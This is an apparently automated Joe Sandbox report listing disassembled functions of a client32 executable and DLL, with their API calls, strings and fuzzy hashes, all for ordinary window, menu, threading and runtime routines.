Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter_free$CloseControlCreateDecrementDeviceErrorEventHandleHeaderInterlockedLastLeaveObjectSingleUnprepareWaitwave
String ID:
API String ID: 705253285-0
Opcode ID: 9b17b99866f1eb7af8eecf8b34d72fa950e84be9354c263641cd2a407741fadc
Instruction ID: 939bcaf7555c717cf87bfebf1d57658177790bd0868e621cfe44e5f8350f5b2d
Opcode Fuzzy Hash: 9b17b99866f1eb7af8eecf8b34d72fa950e84be9354c263641cd2a407741fadc
Instruction Fuzzy Hash: 5511C276900718ABE321CEA0DC88BEFB3ECBF48359F104519FA6692544D774B501CB64

Function 11079270 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(00000000,00000000,00000000), ref: 110792EF

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

idata->pButtonInfo, xrefs: 1107928B
iTab >= 0 && iTab < idata->pButtonInfo->m_iCount, xrefs: 110792B1
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110792D5
..\ctl32\Coolbar.cpp, xrefs: 11079286, 110792AC
m_hWnd, xrefs: 110792DA

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitInvalidateLastMessageProcessRectwsprintf
String ID: ..\ctl32\Coolbar.cpp$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$iTab >= 0 && iTab < idata->pButtonInfo->m_iCount$idata->pButtonInfo$m_hWnd
API String ID: 2776021309-3012761530
Opcode ID: 9fc34f119076dcabc78fd5bd3c8792c7e4337f53f973009b984a304d2b57edc4
Instruction ID: 43535e2045e6edea7900c1da28a671eb4229fa08b0c2923c5f5b9d209a058891
Opcode Fuzzy Hash: 9fc34f119076dcabc78fd5bd3c8792c7e4337f53f973009b984a304d2b57edc4
Instruction Fuzzy Hash: 7101D675F04355BBE710EE86ECC2FD6FBA4AB50368F00402AF95526581E7B1B440C6A5

Function 6EF16E37 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,6EF372D8,00000008,6EF16F3F,00000000,00000000), ref: 6EF16E48
__lock.LIBCMT ref: 6EF16E7C

Part of subcall function 6EF1F4BC: __mtinitlocknum.LIBCMT ref: 6EF1F4D2
Part of subcall function 6EF1F4BC: __amsg_exit.LIBCMT ref: 6EF1F4DE
Part of subcall function 6EF1F4BC: EnterCriticalSection.KERNEL32(00000000,00000000,?,6EF16E81,0000000D), ref: 6EF1F4E6

InterlockedIncrement.KERNEL32(?), ref: 6EF16E89
__lock.LIBCMT ref: 6EF16E9D
___addlocaleref.LIBCMT ref: 6EF16EBB

Strings

KERNEL32.DLL, xrefs: 6EF16E43

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: b2093e1e912b317fd3c94bcbcaabe5b279af72243f88ed91bee9595aff252953
Instruction ID: 113d466ae9fcd91a6f4f93c0f34b21248a0a56294cac9cda574b345033cc2e17
Opcode Fuzzy Hash: b2093e1e912b317fd3c94bcbcaabe5b279af72243f88ed91bee9595aff252953
Instruction Fuzzy Hash: B1015B72418B049FDB20DFA5C8247CABBE4AF51324F20CA4FE596977A0CBB4A540CB94

Function 11003390 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EFD), ref: 1100339D
GetSubMenu.USER32(00000000,00000000), ref: 110033C3
DestroyMenu.USER32(00000000), ref: 110033F2

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\CTL32\annotate.cpp, xrefs: 110033AE, 110033D4
hSub, xrefs: 110033D9
hMenu, xrefs: 110033B3

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: aec038cc46e432c7ccbbb9c417c57b99462259266c92d4bd57c73e054505ab39
Instruction ID: f0241db128611486ad2bba77008837faff31f6141376dc95c8c97f83293769ff
Opcode Fuzzy Hash: aec038cc46e432c7ccbbb9c417c57b99462259266c92d4bd57c73e054505ab39
Instruction Fuzzy Hash: 09F0EC3EE9063573D25211772C4AF8FB6844B8569DF540032FD26BA740EE14A40147B9

Function 11003480 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EF1), ref: 1100348D
GetSubMenu.USER32(00000000,00000000), ref: 110034B3
DestroyMenu.USER32(00000000), ref: 110034E2

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\CTL32\annotate.cpp, xrefs: 1100349E, 110034C4
hSub, xrefs: 110034C9
hMenu, xrefs: 110034A3

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: f23017a3e8d75a99b1dfbadc45444573fee26ed5fcaaf5f6ebfc035b38fd2773
Instruction ID: f340f484bb22d03bd5e0d621a808cbfa0eacb2cd0322e49d7d14e933c66e57f7
Opcode Fuzzy Hash: f23017a3e8d75a99b1dfbadc45444573fee26ed5fcaaf5f6ebfc035b38fd2773
Instruction Fuzzy Hash: 63F0EC3EF9063573D25321772C0AF8FB5844B8569DF550032FD26BEA40EE14B40146B9

Function 11027580 Relevance: 9.1, APIs: 6, Instructions: 70threadwindowsleepCOMMON

Download Yara Rule

APIs

PostThreadMessageA.USER32(00000000,00000501,1102DB60,00000000), ref: 110275D2
Sleep.KERNEL32(00000032,?,1102DB60,00000001), ref: 110275D6
PostThreadMessageA.USER32(00000000,00000012,00000000,00000000), ref: 110275F7
WaitForSingleObject.KERNEL32(00000000,00000032,?,1102DB60,00000001), ref: 11027602
CloseHandle.KERNEL32(00000000,00002710,?,1102DB60,00000001), ref: 11027614
FreeLibrary.KERNEL32(00000000,00000000,00000000,00002710,?,1102DB60,00000001), ref: 11027641

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessagePostThread$CloseFreeHandleLibraryObjectSingleSleepWait
String ID:
API String ID: 2375713580-0
Opcode ID: 1167bbe8f404b4b170c5f303e961cdd6648e4dbde7aa15af3b93772e36ea41a8
Instruction ID: 5d0aa2bc238e72ac38ea6d9656cf733a88b5b02fa80378034871cbc9b64e3e84
Opcode Fuzzy Hash: 1167bbe8f404b4b170c5f303e961cdd6648e4dbde7aa15af3b93772e36ea41a8
Instruction Fuzzy Hash: B1217C71A43735DBE612CBD8CCC4A76FBA8AB58B18B40013AF524C7288C770A441CF91

Function 1113D790 Relevance: 9.0, APIs: 6, Instructions: 49synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11040BBA,00000000), ref: 1113D7C5
CreateThread.KERNEL32(00000000,00000000,1113D660,00000000,00000000,00000000), ref: 1113D7E0
SetEvent.KERNEL32(00000000,?,?,11040BBA,00000000), ref: 1113D805
WaitForSingleObject.KERNEL32(00000000,00001388,?,?,11040BBA,00000000), ref: 1113D816
CloseHandle.KERNEL32(00000000,?,?,11040BBA,00000000), ref: 1113D829
CloseHandle.KERNEL32(00000000,?,?,11040BBA,00000000), ref: 1113D83C

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateEventHandle$ObjectSingleThreadWait
String ID:
API String ID: 414154005-0
Opcode ID: 254c25c95f36225789ab582df44d250993c27ed63b68ed0c4c323ac941b1d095
Instruction ID: 02350ad9304c652d5973a468123ac0969e3fb67a745117c4f7e49a1723ee0a3b
Opcode Fuzzy Hash: 254c25c95f36225789ab582df44d250993c27ed63b68ed0c4c323ac941b1d095
Instruction Fuzzy Hash: 9F11CE705C8265AAF7298BE5C9A8B95FFA4934631DF50402AF2389658CCBB02088CB54

Function 111715A2 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 111715AE

Part of subcall function 1116C675: __getptd_noexit.LIBCMT ref: 1116C678
Part of subcall function 1116C675: __amsg_exit.LIBCMT ref: 1116C685

__amsg_exit.LIBCMT ref: 111715CE
__lock.LIBCMT ref: 111715DE
InterlockedDecrement.KERNEL32(?), ref: 111715FB
_free.LIBCMT ref: 1117160E
InterlockedIncrement.KERNEL32(02DD16E8), ref: 11171626

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: dad0e97e86b6fe847014ebdb1c65e5de67e018ea6a8123b1860c0bf04b02162f
Instruction ID: 224c65a35f2b569fe2d6e63dca2a733826a481c10535b45dbfb9364d9a312d7f
Opcode Fuzzy Hash: dad0e97e86b6fe847014ebdb1c65e5de67e018ea6a8123b1860c0bf04b02162f
Instruction Fuzzy Hash: 3001C4369027229BEB029FA9858479DF761AB0271CF490015E820A7B84CB70A992DFD6

Function 110B3560 Relevance: 9.0, APIs: 6, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,111F10F8,111E6C98,?,110B7A1E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B3578
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,110B7A64), ref: 110B3585
CloseHandle.KERNEL32(?,111F10F8,111E6C98,?,110B7A1E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B3598
CloseHandle.KERNEL32(?,111F10F8,111E6C98,?,110B7A1E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B35A5
WaitForSingleObject.KERNEL32(?,000003E8,111F10F8,111E6C98,?,110B7A1E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B35C3
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,110B7A64), ref: 110B35D0

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: 47e8cf337b2ce15499ba854ff78383ed598d3397d94da8483aa60cf9ecc16ddf
Instruction ID: c91d849fc108652eb31eb37091e5d5d4b5a552e1f27565d093635cb0be7e85a1
Opcode Fuzzy Hash: 47e8cf337b2ce15499ba854ff78383ed598d3397d94da8483aa60cf9ecc16ddf
Instruction Fuzzy Hash: 96011A75A087049BD7909FB988D4A96F7DCEB54300F11492EE5AEC3200CB78B8448F60

Function 1103B606 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 198COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,0000045F,00000000,?,00000000), ref: 1103B75F

Part of subcall function 110CC330: GetCurrentThreadId.KERNEL32 ref: 110CC339

Part of subcall function 110CEEB0: CreateDialogParamA.USER32(00000000,?,1112E709,110CC170,00000000), ref: 110CEF41
Part of subcall function 110CEEB0: GetLastError.KERNEL32 ref: 110CF099
Part of subcall function 110CEEB0: wsprintfA.USER32 ref: 110CF0C8

GetWindowTextA.USER32(?,?,000000C8), ref: 1103B81E

Strings

Survey, xrefs: 1103B6B0
pcicl32.dll, xrefs: 1103B7EE
toastImageAndText.png, xrefs: 1103B7A8

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateCurrentDialogErrorFileLastModuleNameParamTextThreadWindowwsprintf
String ID: Survey$pcicl32.dll$toastImageAndText.png
API String ID: 2477883239-2305317391
Opcode ID: 2f90f4586e8a144a85dc65e248e3d6049d5ed08b354996f0881b37baed7ae7a3
Instruction ID: a37ee32854b15c041e991ad0c80392c526a8d8f631297bf945f8db0117e793ba
Opcode Fuzzy Hash: 2f90f4586e8a144a85dc65e248e3d6049d5ed08b354996f0881b37baed7ae7a3
Instruction Fuzzy Hash: 3871E27590465A9FE709CF64C8D8FEAB7F5EB48308F1485A9D5198B381EB30E944CB50

Function 6EEF2E50 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 111COMMON

Download Yara Rule

Strings

%s: , xrefs: 6EEF2EFA
HTCTL32, xrefs: 6EEF2E90, 6EEF2EEF

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: HandleModule
String ID: %s: $HTCTL32
API String ID: 4139908857-3797952780
Opcode ID: cd2ca8442027caf6db88b96309672d88a05099d925101c0470c05536ebaa0008
Instruction ID: 42644fe16fe6e1d11e3002fad6b9384762c8e7accfc2400e492f6eb95309f2bc
Opcode Fuzzy Hash: cd2ca8442027caf6db88b96309672d88a05099d925101c0470c05536ebaa0008
Instruction Fuzzy Hash: D441183152054ADBCB10CFA8DC24BDA77B5EF47308F208795E81A97280E7319A0ACF90

Function 110773B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 111COMMON

Download Yara Rule

APIs

MapWindowPoints.USER32(?,00000000,?,00000002), ref: 110773FB

Part of subcall function 11076740: DeferWindowPos.USER32(8B000EB5,00000000,BEE85BC0,33CD335E,?,00000000,33CD335E,11077496), ref: 11076783

EqualRect.USER32(?,?), ref: 1107740C
SetWindowPos.USER32(00000000,00000000,?,33CD335E,BEE85BC0,8B000EB5,00000014,?,?,?,?,?,110775EA,00000000,?), ref: 11077466

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11077442
m_hWnd, xrefs: 11077447

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
